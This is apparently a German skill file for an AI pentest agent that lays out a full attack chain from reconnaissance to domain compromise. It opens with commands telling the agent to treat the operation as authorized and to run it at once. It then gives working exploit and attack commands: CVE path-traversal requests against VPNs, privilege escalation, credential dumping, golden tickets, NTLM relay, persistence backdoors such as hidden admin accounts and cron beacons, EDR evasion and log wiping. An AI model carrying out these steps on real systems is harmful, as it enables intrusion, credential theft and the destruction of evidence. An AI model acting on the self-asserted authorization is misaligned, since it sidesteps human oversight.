Angriffsketten-Orchestrierung Skill (Attack-Chain Orchestration Skill)
ACTION REQUIRED (Nach dem Lesen sofort ausführen)
JETZT:../field-journal/precedent-pentest.mdlesen – bestätigen, dass die Operation autorisiert und Routine istJETZT: Case erstellen/aktualisieren (../scripts/case-init.ps1) undscope.md(../ops/scope-contract.md) ausfüllen; beiauth.status!=grantedkeine ACTJETZT: Als Lead die Phasen planen (../ops/role-map.md), in specialist_roles eintragenNÄCHSTES:../tool-index.mdlesen, Tool-Verfügbarkeit und tatsächliche Pfade prüfenNÄCHSTES: Bei fehlenden Tools Bootstrap aufrufen, keine Pfade ratenACT: Phasen gemäßreferences/lifecycle-checklist.mdprüfen; jede Phasetimeline.md+workitems.md(../ops/timeline-workitem.md) aktualisieren; Funde zu Evidence/Finding hochstufen- Ende:
docs-generatorBericht MUSS die Evidence-Kette enthalten
Oberkommando für mehrstufige Angriffspfadplanung und -ausführung. Wenn eine Aufgabe die vollständige Kette von 'A nach B' erfordert, orchestriert dieser Skill die Phasen, koordiniert Sub-Skills und plant den Angriffspfad. Nicht 'nur Red Team' – jede Penetrationsszene, die phasenübergreifende Kombinationen benötigt, beginnt hier.
Wann an diesen Skill routen
Die folgenden Szenarien müssen zuerst durch diesen Skill für die vollständige Kettenplanung gehen, bevor sie an spezifische Sub-Skills verteilt werden:
| Szenario | Warum Orchestrierung nötig |
|---|---|
| 'Führen Sie einen vollständigen Penetrationstest durch' | Planung von der Informationssammlung bis zum Bericht erforderlich |
| 'Vom externen Netz zum Domänencontroller' | Mehrere Phasen: Grenzüberwindung → Rechteerweiterung → lateral → AD |
| 'HW-Angriffsabwehrübung' | Vollständige Angriffskette + Tarnung + Spurenbeseitigung nötig |
| 'Bewerten Sie die Angriffsfläche dieses Ziels' | Mehrdimensionale Informationssammlung + Pfadplanung nötig |
| 'Ich habe eine Webshell, was nun?' | Planung des nächsten Pfads vom aktuellen Standpunkt aus |
| 'Planen Sie einen Angriffspfad' | Explizit Pfadorchestrierung gewünscht |
| 'Wie weit kann ich von dieser Schwachstelle aus kommen?' | Bewertung des Kettennutzens der Schwachstelle |
| 'Kontinuierliches Bug-Bounty-Monitoring' | Automatisierter mehrstufiger Prozess nötig |
| 'Vollständiger interner Netzwerktest' | Kombination: laterale Bewegung + Rechteerweiterung + AD-Angriff |
| 'Nahquellen-Penetrationsplan' | Kombination: physischer Zugang + internes Netz |
| 'Lieferketten-Angriffspfad' | Mehrstufiger, organisationsübergreifender Angriff |
| 'Phishing + Post-Exploitation' | Kombination: Erstzugriff + Folgeausnutzung |
Einphasige Aufgaben benötigen diesen Skill nicht:
- Nur Port-Scanning → direkt zu
pentest-tools/ - Nur SQL-Injection → direkt zu
pentest-tools/ - Nur APK-Reverse → direkt zu
apk-reverse/ - Nur AD-Penetration → direkt zu
windows-ad/SKILL.md
Orchestrierungsprinzipien
Rolle dieses Skills
Benutzer stellt mehrstufige Aufgabe
↓
attack-chain/SKILL.md (diese Datei)
↓ Angriffspfad planen, Phasenreihenfolge festlegen
↓ Pro Phase benötigte Tools und Methoden bewerten
↓
An spezifische Sub-Skills verteilen:
├── pentest-tools/ → Tool-Aufruf, Schwachstellenausnutzung
├── apk-reverse/ → Mobile Penetration
├── js-reverse/ → Web-Frontend-Bypass
├── reverse-engineering/ → Binäranalyse
├── ida-reverse/ → Tiefes Reverse-Engineering
└── browser-automation/ → Automatisierte Operationen
↓
Nach jeder Phase zurück zu diesem Skill zur Bewertung des nächsten Schritts
↓
Alles abgeschlossen → docs-generator erstellt Bericht
Entscheidungsbaum für die Pfadplanung
Nach Erhalt des Ziels:
1. Was ist das Ziel? (Web/Internes Netzwerk/Cloud/Mobil/IoT)
2. Was haben wir? (Externe Perspektive/Vorhandene Anmeldedaten/Vorhandener Standpunkt)
3. Was ist das Endziel? (Domänencontroller/Daten/Bestimmtes System/Nachweis der Auswirkung)
4. Einschränkungen? (Zeit/Tarnung/Nicht berührbare Systeme)
↓
Basierend auf diesen Informationen kürzesten Pfad planen
↓
Ein Pfad blockiert → Zurück zu diesem Skill, alternativen Pfad planen
Vollständige Angriffsketten-Phasen
I. Aufklärungsphase (Reconnaissance)
1.1 Unternehmens-Digital-Asset-Vermessung
# Auffinden von Subdomains verbundener Unternehmen
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# Zusammenführen und Entfernen von Duplikaten
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# Erkennung lebender Hosts
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# Port-Scan (alle Ports)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
Praxistipps:
- Nutzen Sie Unternehmensverzeichnisse (z.B. Qichacha/Tianyancha), um Tochtergesellschaften zu identifizieren und die Angriffsfläche zu vergrößern
- Achten Sie auf Testumgebungen (test., dev., staging.) und neu in Betrieb genommene Systeme
- Zertifikatstransparenz-Logs (crt.sh) zum Auffinden verborgener Domains nutzen
1.2 Jagd nach vertraulichen Informationslecks
# GitHub-Suche
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# API-Schlüssel in JS-Dateien
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
Hochwertige Ziele:
- Cloud-Service AK/SK (Alibaba Cloud, AWS, Azure)
- Datenbank-Verbindungsstrings
- JWT-Geheimnisse
- Interne API-Dokumentation
- VPN/Bastion-Anmeldedaten
1.3 Mitarbeiterprofilierung
Regeln zur Erstellung des Social-Engineering-Wörterbuchs:
{Pinyin des Namens}{Jahr} → zhangsan2024
{Anfangsbuchstaben des Namens}{Abteilungskürzel} → zs_dev
{Mitarbeiternummer}@{Domain} → [email protected]
{Name}{Häufiges Suffix} → zhangsan@123, zhangsan!@#
Informationsquellen:
- Organigramm auf Maigai/LinkedIn
- Firmen-Webseite/Offizieller Blog (Team-Vorstellungen)
- Stellenausschreibungen (Technologie-Stack-Exposition)
- Akademische Arbeiten (E-Mail-Exposition)
1.4 Technologie-Stack-Fingerprinting
# Web-Fingerprinting
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# Erkennung spezifischer Frameworks
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS-Erkennung
wpscan --url https://target.com --enumerate p,t,u
II. Erstzugriffsphase (Initial Access)
2.1 Ausnutzung von Web-Schwachstellen (Häufige Einstiegspunkte)
| Schwachstellentyp | Erkennungstool | Ausnutzungsmethode |
|---|---|---|
| SQL-Injection | sqlmap | Datenextraktion → Shell schreiben → OS-Befehle |
| SSTI | sstimap | Template-Injection → RCE |
| Datei-Upload | Manuell + Burp | Webshell → Rebound-Shell |
| Deserialisierung | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | Manuell | Internes Netzwerk erkunden → Cloud-Metadaten → AK/SK |
| Unautorisierter Zugriff | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | Session-Hijacking des Administrators |
# SQL-Injection automatisieren
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI-Erkennung
sstimap -u "https://target.com/search?q=test"
# Massen-Scan mit Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
2.2 Lieferketten-Angriff
Angriffspfade:
- Identifizieren der vom Ziel verwendeten Drittanbieterkomponenten/-dienstleister
- Angriff auf den Lieferanten, um Code-Signatur-/Update-Berechtigungen zu erhalten
- Über legitime Update-Kanäle bösartige Nutzdaten ausliefern
Häufige Einstiegspunkte:
- Vergiftung von Open-Source-Komponenten (npm/pip/maven)
- API-Missbrauch durch SaaS-Dienstanbieter
- Ausnutzung von Berechtigungen externer Mitarbeiter
- Lateraler Angriff über gemeinsam genutzte IT-Dienstleister
2.3 Phishing-Angriff
E-Mail-Phishing:
Betreffs-Vorlagen:
- [DRINGEND] VPN-Zertifikat läuft bald ab, bitte sofort aktualisieren
- [IT-Mitteilung] Mail-Speicher fast voll, bitte aufräumen
- [Personalabteilung] Ergebnis der Leistungsbeurteilung 2024 abrufbar
- [Finanzen] Abrechnungssystem aktualisiert, bitte neu anmelden
Payload-Typen:
- Office-Makro-Dokumente (.docm/.xlsm)
- LNK-Verknüpfungen (als PDF getarnt)
- HTML-Schmuggel (HTML Smuggling)
- ISO/IMG-Images (MOTW umgehen)
- OneNote-eingebettete Skripte
OAuth-Phishing (Trend 2025):
- Bösartige OAuth-App zur Berechtigungsanfrage erstellen
- Nach Autorisierung des Benutzers Zugriff auf E-Mail/Dateien erhalten
- Kein Passwort nötig, MFA wird umgangen
2.4 Nahquellen-Penetration (Physischer Zugang)
| Methode | Tool | Effekt |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | Tastatureingabe → Rebound-Shell |
| Bösartiges Ladegerät | O.MG Cable | Als Datenkabel getarnte Hintertür |
| WiFi-Phishing | Fluxion / WiFi Pineapple | Gefälschter Hotspot → Erfassung von Anmeldedaten |
| RFID-Klon | Proxmark3 | Kopieren von Zutrittskarten → physischer Zutritt |
| Netzwerk-Implantat | Raspberry Pi / LAN Turtle | Permanenter interner Zugangspunkt |
# Fluxion WiFi-Phishing
fluxion # Interaktive Auswahl des Ziel-AP → Erstellen eines gefälschten Hotspots → Erfassen des WPA-Passworts
# BadUSB in Verbindung mit Cobalt Strike
# USB-Injektion eines PowerShell-Downloaders → C2-Connection
2.5 VPN/Fernzugriff-Durchbruch
# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# Allgemein: Password Spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
2.6 Cloud-Service-Durchbruch
# AWS S3-Bucket-Enumeration
aws s3 ls s3://target-bucket --no-sign-request
# Cloud-Metadaten SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD Password Spraying
# Mit MSOLSpray / Spray-Tool
III. Phase der Rechteerweiterung (Privilege Escalation)
3.1 Windows-Rechteerweiterung
| Technik | Bedingung | Tool |
|---|---|---|
| Potato-Reihe | SeImpersonate-Berechtigung | SweetPotato / GodPotato / PrintSpoofer |
| Kernel-Schwachstelle | Nicht gepatcht | watson / wesng zur Erkennung |
| Dienstpfad-Hijacking | Unquotierter Dienstpfad | PowerUp |
| DLL-Hijacking | Beschreibbarer DLL-Suchpfad | Process Monitor |
| AlwaysInstallElevated | Registrierungskonfiguration | msiexec zum Installieren bösartiger MSI |
| Geplante Aufgaben | Beschreibbares Aufgabenskript | schtasks ersetzen |
# SeImpersonate erkennen
whoami /priv | findstr "SeImpersonate"
# Potato-Rechteerweiterung
.\GodPotato.exe -cmd "cmd /c whoami"
# Automatisierte Erkennung
.\winPEAS.exe
3.2 Linux-Rechteerweiterung
# SUID-Erkennung
find / -perm -4000 -type f 2>/dev/null
# sudo-Missbrauch
sudo -l
# Häufig ausnutzbar: vim, find, python, nmap, less, awk, perl
# sudo vim Rechteerweiterung
sudo vim -c ':!/bin/bash'
# sudo find Rechteerweiterung
sudo find / -exec /bin/bash \;
# Kernel-Schwachstelle
uname -r # Version prüfen
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# Automatisierte Erkennung
./linpeas.sh
3.3 Datenbank-Rechteerweiterung
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF-Rechteerweiterung
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
3.4 Cloud-Rechteerweiterung
# AWS IAM-Enumeration
aws iam list-attached-user-policies --user-name compromised-user
# Suche nach iam:PassRole + lambda:CreateFunction → Administratorrechte
# Azure AD
# Globaler Administrator → Kontrolle über alle Abonnements
# Anwendungsadministrator → Hinzufügen von Anmeldeinformationen zu Service Principal
IV. Phase der lateralen Bewegung (Lateral Movement)
4.1 Erlangen von Anmeldedaten
# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux-Anmeldedaten
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM-Hash-Extraktion
secretsdump.py domain/user:password@dc_ip
4.2 Pass-the-Hash / Pass-the-Ticket
# PTH lateral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
4.3 Verdeckte laterale Techniken
# WMI fileless execution
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM remote execution
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec (hinterlässt Spuren)
psexec.py domain/admin:password@target_ip
# SSH-Tunnel (Linux-Umgebung)
ssh -D 1080 user@pivot_host # SOCKS-Proxy
ssh -L 3389:internal_host:3389 user@pivot_host # Port-Weiterleitung
4.4 NTLM-Relay
# Responders SMB/HTTP deaktivieren
# Responder.conf bearbeiten: SMB = Off, HTTP = Off
# Responder zum Erfassen starten
responder -I eth0
# NTLM-Relay zum Ziel
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer zur erzwungenen Authentifizierung
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
4.5 AD-Angriffspfade
# BloodHound-Datensammlung
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# Häufige Angriffspfade:
# 1. Benutzer → GenericAll → Zielbenutzer → Passwort zurücksetzen
# 2. Benutzer → WriteDacl → Ziel-OU → Berechtigungen hinzufügen
# 3. Computer → Eingeschränkte Delegierung → Beliebiges Benutzerkonto impersonieren
# 4. Benutzer → DCSync-Berechtigung → Alle Hashes exportieren
# Certipy AD CS-Angriff
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
V. Phase der Persistenz (Persistence)
5.1 Windows-Persistenz
| Technik | Tarnung | Erkennungsschwierigkeit |
|---|---|---|
| Geplante Aufgabe | Mittel | Niedrig |
| Registrierungs-Run-Key | Niedrig | Niedrig |
| WMI-Ereignisabonnement | Hoch | Hoch |
| DLL-Hijacking | Hoch | Mittel |
| Shadow-Konto | Mittel | Mittel |
| Golden Ticket | Sehr hoch | Sehr hoch |
| DSRM-Backdoor | Sehr hoch | Sehr hoch |
# WMI-Ereignisabonnement (hohe Tarnung)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Shadow-Konto
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Registrierungs-F-Wert ändern für RID-Klon
5.2 Linux-Persistenz
# SSH-Key implantieren
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab-Backdoor
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD-Hijacking
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM-Backdoor
# pam_unix.so ändern, um Master-Passwort hinzuzufügen
# Systemd-Dienst
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
5.3 Cloud-Persistenz
# AWS Lambda-Backdoor
# Zeitgesteuerte Lambda-Funktion erstellen, die zum C2 zurückkehrt
# Azure AD App-Registrierung
# App erstellen → Geheimnis hinzufügen → Graph-API-Berechtigungen erteilen
# Container-Backdoor
# Basis-Image ändern → Alle neuen Container haben Backdoor
VI. EDR/AV-Umgehung (Evasion)
6.1 Kernansätze zur Umgehung
| Ebene | Technik | Erklärung |
|---|---|---|
| Statische Erkennung | Verschlüsselung/Verschleierung/Benutzerdefinierter Loader | Signaturübereinstimmung vermeiden |
| Verhaltenserkennung | Indirekter Systemaufruf/Unhooking | API-Hook umgehen |
| Speichererkennung | Module Stomping/Heap-Verschlüsselung | Speicher-Scan vermeiden |
| Netzwerkerkennung | Domain Fronting/Legitimer Service-Tunnel | In normalen Traffic mischen |
| Protokollerfassung | ETW-Patching/Protokoll-Löschung | Spuren minimieren |
6.2 Praktische Umgehungstechniken
1. Benutzerdefinierter Shellcode-Loader (keine öffentlichen Tools verwenden)
2. Direkter Systemaufruf (ntdll-Hook umgehen)
3. Prozess-Injection in wenig überwachte Prozesse (z.B. RuntimeBroker.exe)
4. C2-Traffic über HTTPS + Domain Fronting / Cloudflare Workers
5. Ausführung im Speicher, keine Festplattenberührung (Fileless)
6. Nutzung legitimer signierter Programme (LOLBins)
6.3 C2-Framework-Auswahl
| Framework | Merkmale | Anwendungsszenario |
|---|---|---|
| Cobalt Strike | Ausgereift, stabil, Teamarbeit | Große Red-Team-Operationen |
| Sliver | Open Source, in Go geschrieben | Begrenztes Budget |
| Havoc | Modern, modular | Anpassung erforderlich |
| Mythic | Multi-Agent-Support | Plattformübergreifend |
| AdaptixC2 | In Kali 2026.1 enthalten | Schnelle Bereitstellung |
VII. Spurenbeseitigung (Anti-Forensics)
# Windows-Protokolle löschen
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux-Protokolle löschen
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# Zeitstempel ändern
touch -t 202301010000 /path/to/file
# Speicher bereinigen
# Sicherstellen, dass Mimikatz-Dump gelöscht wurde
# Sicherstellen, dass C2-Beacon beendet wurde
# Sicherstellen, dass temporäre Dateien gelöscht wurden
Red-Team-Eiserne-Regeln
Drei Grundprinzipien
- Alle Operationen müssen schriftlich autorisiert sein
- Datenexfiltration muss anonymisiert werden
- Alle Angriffsspuren beseitigen (einschließlich Speicher-Residenz)
Einsatzdisziplin
- Vor jeder Operation das Risiko bewerten (niedrig/mittel/hoch/kritisch)
- Bei Hochrisiko-Operationen den Projektmanager benachrichtigen
- Betriebsprotokoll führen (Zeit, Aktion, Ergebnis)
- Kritische Schwachstellen sofort melden, nicht weiter ausnutzen
- Betriebsverfügbarkeit nicht beeinträchtigen (kein DoS)
- Keine echten Benutzerdaten abrufen/herunterladen
Typische Fehlschlagsfälle
| Fehlerursache | Konsequenz | Lehre |
|---|---|---|
| Mimikatz-Speicherdump nicht gelöscht | Blue Team rekonstruiert gesamten Angriffspfad | Nach der Operation sofort bereinigen |
| C2-Domain von Threat Intelligence markiert | Erste Verbindung bereits blockiert | Neu registrierte Domain + Domain Fronting verwenden |
| Phishing-E-Mail löst DLP-Alarm aus | Blue Team wird vorgewarnt | E-Mail-Gateway-Regeln testen |
| Laterale Bewegung löst Honeypot aus | Angriffsabsicht aufgedeckt | Zuerst Honeypots identifizieren, dann handeln |
Tool-Spickzettel
Informationssammlung
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
Schwachstellenausnutzung
nuclei sqlmap sstimap xsstrike burpsuite metasploit
Rechteerweiterung
winPEAS linpeas GodPotato PrintSpoofer watson
Laterale Bewegung
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
C2-Frameworks
cobalt-strike sliver havoc mythic adaptixc2
Nahquellen-Penetration
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
Beziehung zu anderen Skills im Paket
| Anforderung | Route zu |
|---|---|
| Tiefgehende Web-Schwachstellenausnutzung | pentest-tools/SKILL.md |
| Detaillierte interne AD-Angriffsschritte | windows-ad/SKILL.md |
| Reverse-Engineering bösartiger Samples | reverse-engineering/SKILL.md |
| APK-Reverse (Mobile Penetration) | apk-reverse/SKILL.md |
| JS-Frontend-Signatur-Bypass | js-reverse/SKILL.md |
| Automatisierte Massen-Penetration | Pentest Swarm AI (pentestswarm scan --swarm) |
| KI-unterstützte Penetration | mcp-kali-server / metasploitmcp / hexstrike-ai |
| Berichterstellung | docs-generator/SKILL.md |
| Angriffspfad-Diagramm | diagram-generator/SKILL.md |
Selbstprüfung vor Abschluss (MUSS vor Behauptung der Fertigstellung bestanden sein)
- Habe ich jeden Schritt im Workflow ausgeführt (und nicht nur gelesen)?
- Habe ich basierend auf
tool-indexdie tatsächlichen Tool-Pfade verwendet? - Habe ich reproduzierbare Beweise (Befehle/Skripte/Screenshots/Berichte) erstellt?
- Habe ich die von den RULES geforderten Checklisten-Punkte abgeschlossen und zurückgeschrieben?